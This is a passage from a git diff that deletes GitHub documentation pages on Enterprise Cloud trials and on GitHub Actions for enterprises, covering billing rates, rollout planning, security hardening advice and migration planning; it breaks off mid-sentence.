organizations. See [AUTOTITLE](/enterprise-cloud@latest/get-started/learning-about-github/types-of-github-accounts). -* Up to **50 licenses** to grant access to users. - -## Features not included in the trial - -* {% data variables.product.prodname_github_codespaces %} -* {% data variables.product.prodname_copilot_enterprise %} -* {% data variables.product.prodname_sponsors %} -* Paid {% data variables.product.prodname_marketplace %} apps -* {% data variables.product.prodname_github_connect %} -* {% data variables.large_files.product_name_long %} -* For {% data variables.product.prodname_actions %}, increased minutes, job concurrency, and {% data variables.actions.hosted_runners %} - -If you invite an existing organization into your trial enterprise, **all of these features will be disabled**. If you remove the organization from the enterprise, the features will be re-enabled. - -## Do I need to provide a payment method? - -You do not need to provide a payment method to start a trial. If you want to use {% data variables.product.prodname_copilot_business_short %} during the trial, you need to provide a credit card. You **won't** be charged for using {% data variables.product.prodname_copilot_business_short %} during the trial. - -## Setting up a trial - -Go to the trial page and follow the instructions to sign up for the trial. - -Try {% data variables.product.prodname_ghe_cloud %} {% octicon "link-external" height:16 %} - -When setting up your trial of GitHub Enterprise Cloud, you'll choose an enterprise type. - -* Enterprise with personal accounts -* Enterprise with managed users - -To help you decide which choice is best for your enterprise, see [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud). - -### Setting up {% data variables.product.prodname_ghe_cloud %} - -You can find full instructions on setting up {% data variables.product.prodname_ghe_cloud %} in the [AUTOTITLE](/enterprise-cloud@latest/get-started/onboarding/getting-started-with-github-enterprise-cloud) guide. - -### Setting up {% data variables.product.prodname_GH_advanced_security %} - -You can find information about planning a trial of {% data variables.product.prodname_GH_advanced_security %} and exploring the additional options available with {% data variables.product.prodname_ghe_cloud %} in the [AUTOTITLE](/code-security/trialing-github-advanced-security) articles. - -### Setting up {% data variables.product.prodname_copilot_for_business %} - -Setting up your {% data variables.product.prodname_copilot_for_business %} trial involves three phases, and each phase must be completed by different people. - -* As an **enterprise owner**, you must first configure {% data variables.product.prodname_copilot_for_business %} for your enterprise. This phase involves setting policies for the use of {% data variables.product.prodname_copilot_for_business %} in your enterprise, and deciding which organizations in your enterprise can use {% data variables.product.prodname_copilot_for_business %}. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise). - -* Next, **organization owners** can enable {% data variables.product.prodname_copilot_for_business %} for their organizations. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization). - -* If your **personal account** has been granted a seat in an organization that has enabled {% data variables.product.prodname_copilot_for_business %}, you can now enable {% data variables.product.prodname_copilot_for_business %} for your personal account. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself). - -## During the trial - -After you set up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the suggested tasks on the "Getting started" tab of your enterprise account. - -You can create up to **three new organizations** in the trial enterprise, or transfer any number of existing organizations. - -* You cannot transfer organizations that have free or paid {% data variables.product.prodname_marketplace %} apps. Free apps are supported for new organizations in the trial. -* Billing for transferred organizations is paused during the trial and any coupons are removed. To reapply a coupon, contact {% data variables.contact.contact_support_page %}. -* Organizations created during the trial cannot be removed from the enterprise account until you purchase {% data variables.product.prodname_enterprise %}. - -For help setting up the included features, once you've started your trial, see [AUTOTITLE](/enterprise-cloud@latest/get-started/onboarding/getting-started-with-the-github-enterprise-cloud-trial). - -## Next steps - -1. Once you have completed your trial, you can purchase {% data variables.product.prodname_enterprise %} or cancel the trial. See [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/ending-a-trial-of-github-enterprise). -1. To learn about billing for {% data variables.product.prodname_ghe_cloud %}, see [AUTOTITLE](/enterprise-onboarding/getting-started-with-your-enterprise/about-enterprise-billing). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions.md deleted file mode 100644 index 2074e43aede2..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions.md +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: About billing for GitHub Actions -shortTitle: Billing for GitHub Actions -intro: 'Learn about billing for {% data variables.product.prodname_actions %}.' -versions: - ghec: '*' -type: overview -topics: - - Actions - - Spending limits -allowTitleToDifferFromFilename: true ---- - -## About billing for {% data variables.product.prodname_actions %} - -{% data reusables.billing.authorization-charge %} - -{% data reusables.actions.actions-billing %} - -{% data reusables.actions.actions-spending-limit-brief %} For more information, see [About spending limits](#about-spending-limits). - -If you are an organization owner or enterprise owner, you can connect an Azure Subscription ID to your organization or enterprise account to enable and pay for {% data variables.product.prodname_actions %} usage beyond the amounts included with your account. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -Minutes reset every month, while storage usage does not. - -### Included storage and minutes - -> [!NOTE] -> * Included minutes cannot be used for larger runners. These runners will always be charged for, including in public repositories. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates). -> * Logs and job summaries do not count towards storage usage. - -|Plan | Storage | Minutes (per month)| -|------- | ------- | ---------| -| {% data variables.product.prodname_free_team %} for organizations | 500 MB | 2,000 | -| {% data variables.product.prodname_team %} | 2 GB | 3,000 | -| {% data variables.product.prodname_ghe_cloud %} | 50 GB | 50,000 | - -The storage used by a repository is the total storage used by {% data variables.product.prodname_actions %} artifacts and {% data variables.product.prodname_registry %}. Your storage cost is the total usage for all repositories owned by organizations in your enterprise. For more information about pricing for {% data variables.product.prodname_registry %}, see [AUTOTITLE](/billing/managing-billing-for-github-packages/about-billing-for-github-packages). - -If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and per-minute usage depending on the operating system used by the {% data variables.product.prodname_dotcom %}-hosted runner. {% data variables.product.prodname_dotcom %} rounds the minutes and partial minutes each job uses up to the nearest whole minute. - -### Minute multipliers - -Jobs that run on Windows and macOS runners that {% data variables.product.prodname_dotcom %} hosts consume minutes at 2 and 10 times the rate that jobs on Linux runners consume. For example, using 1,000 Windows minutes would consume 2,000 of the minutes included in your account. Using 1,000 macOS minutes, would consume 10,000 minutes included in your account. - -| Operating system | Minute multiplier | -|----------------- | ------------------| -| Linux | 1 | -| Windows | 2 | -| macOS | 10 | - -> [!NOTE] -> Minute multipliers do not apply to the per-minute rates shown below. - -### Per-minute rates - -#### Per-minute rates for standard runners - -| Operating system | Per-minute rate (USD) | -|---------------------------------------| ----------------------| -| Linux 2-core | $0.008 | -| Windows 2-core | $0.016 | -| macOS 3-core or 4-core (M1 or Intel) | $0.08 | - -#### Per-minute rates for x64-powered {% data variables.actions.hosted_runners %} - -| Operating system | Per-minute rate (USD) | -|------------------------| ----------------------| -| Linux Advanced 2-core | $0.008 | -| Linux 4-core | $0.016 | -| Linux 8-core | $0.032 | -| Linux 16-core | $0.064 | -| Linux 32-core | $0.128 | -| Linux 64-core | $0.256 | -| Windows 4-core | $0.032 | -| Windows 8-core | $0.064 | -| Windows 16-core | $0.128 | -| Windows 32-core | $0.256 | -| Windows 64-core | $0.512 | -| Windows 4-core GPU | $0.14 | -| macOS 12-core | $0.12 | - -#### Per-minute rates for arm64-powered {% data variables.actions.hosted_runners %} - -| Operating system | Per-minute rate (USD) | -|---------------------| -----------| -| Linux 2-core | $0.005 | -| Linux 4-core | $0.01 | -| Linux 8-core | $0.02 | -| Linux 16-core | $0.04 | -| Linux 32-core | $0.08 | -| Linux 64-core | $0.16 | -| Windows 2-core | $0.01 | -| Windows 4-core | $0.02 | -| Windows 8-core | $0.04 | -| Windows 16-core | $0.08 | -| Windows 32-core | $0.16 | -| Windows 64-core | $0.32 | -| macOS 6-core (M1) | $0.16 | - -#### Per-minute rates for GPU-powered {% data variables.actions.hosted_runners %} - -| Operating system | Per-minute rate (USD) | -|---------------------| -----------| -| Linux 4-core | $0.07 | -| Windows 4-core | $0.14 | - -#### Points to note about rates for runners - -* The number of jobs you can run concurrently across all repositories in your user or organization account depends on your {% data variables.product.prodname_dotcom %} plan. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration) for {% data variables.product.prodname_dotcom %}-hosted runners and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#usage-limits) for self-hosted runner usage limits. -* {% data reusables.user-settings.context_switcher %} -* {% data reusables.actions.larger-runner-permissions %} -* {% data reusables.actions.about-larger-runners-billing %} -* For {% data variables.actions.hosted_runner %}s, there is no additional cost for configurations that assign public static IP addresses to a {% data variables.actions.hosted_runner %}. For more information on {% data variables.actions.hosted_runner %}s, see [AUTOTITLE](/actions/using-github-hosted-runners/using-larger-runners/about-larger-runners). -* Included minutes cannot be used for {% data variables.actions.hosted_runner %}s. -* The {% data variables.actions.hosted_runner %}s are not free for public repositories. - -## Calculating minute and storage spending - -{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_actions %} - -At the end of the month, {% data variables.product.prodname_dotcom %} calculates the cost of minutes and storage used over the amount included in your account. - -### Sample minutes cost calculation - -For example, if your organization uses {% data variables.product.prodname_team %} and allows unlimited spending, using 5,000 minutes could have a total storage and minute overage cost of $56 USD, depending on the operating systems used to run jobs. - -* 5,000 (3,000 Linux and 2,000 Windows) minutes = $56 USD ($24 USD + $32 USD). - * 3,000 Linux minutes at $0.008 USD per minute = $24 USD. - * 2,000 Windows minutes at $0.016 USD per minute = $32 USD. - -{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. - -### Sample storage cost calculation - -> [!NOTE] -> {% data variables.product.company_short %} updates your storage space within a 6 to 12-hour window. If you delete artifacts, the available space will be reflected in your account during the next scheduled update. - -For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: - -* 3 GB x 10 days x (24 hours per day) = 720 GB-Hours -* 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours -* 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours -* 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months - -At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. - -Your {% data variables.product.prodname_actions %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} - -## About spending limits - -{% data reusables.actions.actions-spending-limit-detailed %} - -For information on managing and changing your account's spending limit, see [AUTOTITLE](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). - -{% data reusables.dotcom_billing.actions-packages-unpaid-account %} - -## Next steps - -Next, learn about other features available with {% data variables.product.prodname_ghe_cloud %}. See [AUTOTITLE](/enterprise-onboarding/feature-enhancements). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/about-github-actions-for-enterprises.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/about-github-actions-for-enterprises.md deleted file mode 100644 index 3f2c216d20d7..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/about-github-actions-for-enterprises.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: About GitHub Actions for enterprises -shortTitle: About GitHub Actions -intro: '{% data variables.product.prodname_actions %} can improve developer productivity by automating your enterprise''s software development cycle.' -versions: - ghec: '*' -type: overview -topics: - - Actions - - Enterprise -allowTitleToDifferFromFilename: true ---- - -## About {% data variables.product.prodname_actions %} for enterprises - -{% data reusables.actions.about-actions-for-enterprises %} - -| Task | More information | -| ---- | ---------------- | -| Automatically test and build your application | [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration) | -| Deploy your application | [AUTOTITLE](/actions/deployment/about-deployments/about-continuous-deployment) | -| Automatically and securely package code into artifacts and containers | [AUTOTITLE](/actions/publishing-packages/about-packaging-with-github-actions) | -| Automate your project management tasks | [AUTOTITLE](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management) | - -{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, pull requests are typically merged faster, allowing teams to merge more pull requests per day. - -You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. For more information, see [AUTOTITLE](/actions/learn-github-actions/finding-and-customizing-actions). - -{% data variables.product.prodname_actions %} is developer friendly, because it's integrated directly into the familiar {% data variables.product.github %} experience. - -You can enjoy the convenience of {% data variables.product.company_short %}-hosted runners, which are maintained and upgraded by {% data variables.product.company_short %}, or you can control your own private CI/CD infrastructure by using self-hosted runners. Self-hosted runners allow you to determine the exact environment and resources that complete your builds, testing, and deployments, without exposing your software development cycle to the internet. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -{% data variables.product.prodname_actions %} provides greater control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets.If your workflows need to access resources from a cloud provider that supports OpenID Connect (OIDC), you can configure your workflows to authenticate directly to the cloud provider. OIDC provides security benefits such as eliminating the need to store credentials as long-lived secrets. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). - -{% data variables.product.prodname_actions %} also includes tools to govern your enterprise's software development cycle and meet compliance obligations. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -## Next steps - -1. To learn about {% data variables.product.prodname_actions %} basics, including core concepts and essential terminology, see [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions). -1. To get started planning a rollout of {% data variables.product.prodname_actions %} in your enterprise, see [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md deleted file mode 100644 index 95396938070e..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Getting started with GitHub Actions for GitHub Enterprise Cloud -shortTitle: Get started -intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.' -versions: - ghec: '*' -type: how_to -topics: - - Actions - - Enterprise -allowTitleToDifferFromFilename: true ---- - -## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %} - -{% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows. - -{% data reusables.actions.introducing-enterprise %} - -{% data reusables.actions.migrating-enterprise %} - -## Managing policies for {% data variables.product.prodname_actions %} - -You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -## Adding runners - -To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be billed based on consumption after exhausting the minutes included in your plan, whereas self-hosted runners are free. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -## Provisioning fine-grained permissions for {% data variables.product.prodname_actions %} - -Organization owners and users with the "Manage custom organization roles" permission can provision fine-grained permissions for users and teams in your organization. Provisioning fine-grained permissions for {% data variables.product.prodname_actions %} allows you to practice the principle of least privilege to secure settings in your {% data variables.product.prodname_actions %} CI/CD pipeline. - -{% data reusables.actions.org-roles-for-gh-actions %} - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles). - -## Next steps - -Next, learn about security practices for using {% data variables.product.prodname_actions %}. See [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/index.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/index.md deleted file mode 100644 index 14fe7182c0f6..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: GitHub Actions for your enterprise -intro: 'Learn how to plan and implement a rollout of {% data variables.product.prodname_actions %} for your enterprise.' -versions: - ghec: '*' -topics: - - Administrator - - Enterprise - - Set up - - Actions -children: - - /about-github-actions-for-enterprises - - /understanding-github-actions - - /introducing-github-actions-to-your-enterprise - - /migrating-your-enterprise-to-github-actions - - /getting-started-with-github-actions-for-github-enterprise-cloud - - /security-hardening-for-github-actions - - /about-billing-for-github-actions ---- diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md deleted file mode 100644 index b1821afdf702..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Introducing GitHub Actions to your enterprise -shortTitle: Introduce Actions -intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Actions - - Enterprise -allowTitleToDifferFromFilename: true ---- - -## About {% data variables.product.prodname_actions %} for enterprises - -{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises). - -Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. - -## Governance and compliance - -You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations. - -Determine which actions and reusable workflows your developers will be allowed to use. First, decide whether you'll allow third-party actions and reusable workflows that were not created by {% data variables.product.company_short %}. You can configure the actions and reusable workflows that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions and reusable workflows, you can limit allowed actions to those created by verified creators or a list of specific actions and reusable workflows. - -For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository), [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization), and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-github-actions-in-your-enterprise). - -Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows). - -You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining this information longer than audit log data is retained, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -You can practice the principle of least privilege by administering custom organization roles for access to settings in your {% data variables.product.prodname_actions %} CI/CD pipeline. For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -## Security - -You should plan your approach to security hardening for {% data variables.product.prodname_actions %}. - -### Security hardening individual workflows and repositories - -Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions). - -You can also encourage reuse of workflows that have already been evaluated for security. For more information, see [Innersourcing](#innersourcing). - -### Securing access to secrets and deployment resources - -You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider. - -In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/using-environments-for-deployment). - -### Security considerations for third-party actions - -There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions). - -### Private networking with GitHub-hosted runners - -{% data reusables.actions.azure-vnet-network-configuration-intro %} For more information, see [AUTOTITLE](/admin/configuration/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise). - -## Innersourcing - -Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource automation. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources. - -{% data reusables.actions.internal-actions-summary %} - -With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization). - -## Managing resources - -You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}. - -### Runners - -{% data variables.product.prodname_actions %} workflows require runners. You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.company_short %} manages maintenance and upgrades for {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -To manage your own resources, configuration, or geographic location of your runner machines, use self hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -If you want more control over the networking policies for your runners, use self-hosted runners or private networking options for {% data variables.product.prodname_dotcom %}-hosted runners. For more information about private networking options, see [AUTOTITLE](/actions/using-github-hosted-runners/connecting-to-a-private-network/about-private-networking-with-github-hosted-runners). - -If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers. Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container. - -You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). You can also use policies to prevent people using repository-level self-hosted runners. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#disabling-repository-level-self-hosted-runners). - -You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners). - -Finally, you should consider security hardening for self-hosted runners. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners). - -### Storage - -{% data reusables.actions.about-artifacts %} For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -{% data variables.product.prodname_actions %} also has a caching system that you can use to cache dependencies to speed up workflow runs. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -You can use policy settings for {% data variables.product.prodname_actions %} to customize the storage of workflow artifacts, caches, and log retention. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -## Tracking usage - -You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows. - -You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account). - -For more detailed usage data, you can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/about-webhooks). - -Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/). - -You should also plan how you'll enable your teams to get the data they need from your archiving system. - -## Next steps - -Next, learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider. See [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md deleted file mode 100644 index 7bd62ccc443c..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Migrating your enterprise to GitHub Actions -shortTitle: Migrate to Actions -intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.' -versions: - ghec: '*' -type: how_to -topics: - - Actions - - Enterprise - - Migration -allowTitleToDifferFromFilename: true ---- - -## About enterprise migrations to {% data variables.product.prodname_actions %} - -To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. - -This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). - -## Planning your migration - -Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations. - -### Leveraging migration specialists - -{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. - -### Identifying and inventorying migration targets - -Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system. - -First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind. - -Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions). - -With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}. - -### Determine team impacts from migrations - -When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work. - -Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make. - -Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools? - -Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}. - -### Identifying and validating migration tools - -Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. For example, you can use the {% data variables.product.prodname_actions_importer %} to plan, scope, and migrate your CI pipelines to {% data variables.product.prodname_actions %} from various supported services. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions/automated-migrations/automating-migration-with-github-actions-importer). - -After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected. - -Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete. - -### Deciding on a migration approach - -Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a 